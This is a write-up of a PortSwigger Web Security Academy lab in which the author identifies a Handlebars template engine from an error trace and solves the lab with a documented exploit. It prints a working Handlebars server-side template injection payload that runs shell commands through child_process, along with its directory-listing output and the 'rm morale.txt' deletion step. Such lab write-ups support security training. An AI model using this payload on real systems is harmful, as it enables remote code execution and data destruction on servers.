| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Server-Side Template Injection (Handlebars) |
| Difficulty | Practitioner |
| Objective | Identify the template engine and find a documented exploit online to execute arbitrary code, then delete morale.txt from Carlos's home directory |
Server-Side Template Injection in an Unknown Language with a Documented Exploit¶
Entering the lab we find an ecommerce site. Clicking into a product to check stock shows:
Unfortunately this product is out of stock
and the URL is:
web-security-academy.net/?message=Unfortunately this product is out of stock
Trying:
web-security-academy.net/?message={{7*7}}
Gives an internal server error:
Internal Server Error
/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267 throw new Error(str); ^ Error: Parse error on line 1: {{7*7}} --^ Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID' at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19) at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30) at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43) at compileInput (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19) at ret (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18) at [eval]:5:13 at Script.runInThisContext (node:vm:128:12) at Object.runInThisContext (node:vm:306:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24 Node.js v19.8.1
The traceback names handlebars directly — confirms the engine without needing further probing. Sometimes the "unknown language" identification really is just reading the error carefully.
Checking PayloadsAllTheThings for a Handlebars exploit:
Handlebars - Command Execution
This payload only works in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:
>= 4.1.0, < 4.1.2
>= 4.0.0, < 4.0.14
< 3.0.7
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
This is a prototype pollution chain abusing string.sub.apply and Function constructor access — gnarly enough that adapting this payload from PayloadsAllTheThings is the realistic approach rather than building it from scratch. It's also large, so it needs URL-encoding through Burp before sending, otherwise pasting it raw breaks the request structure:
Sending it returns:
e 2 [object Object] function Function() { [native code] } 2 [object Object] total 24 drwxr-xr-x 1 carlos carlos 45 Jun 14 00:37 . drwxr-xr-x 1 root root 20 Jul 6 2025 .. -rw-rw-r-- 1 carlos carlos 132 Jun 14 00:37 .bash_history -rw-r--r-- 1 carlos carlos 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 carlos carlos 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 carlos carlos 807 Feb 25 2020 .profile -rw-rw-r-- 1 carlos carlos 6816 Jun 14 00:37 morale.txt
morale.txt shows up in the listing. Swapping ls -la for rm morale.txt in the same payload:
We delete the file and the lab will be solved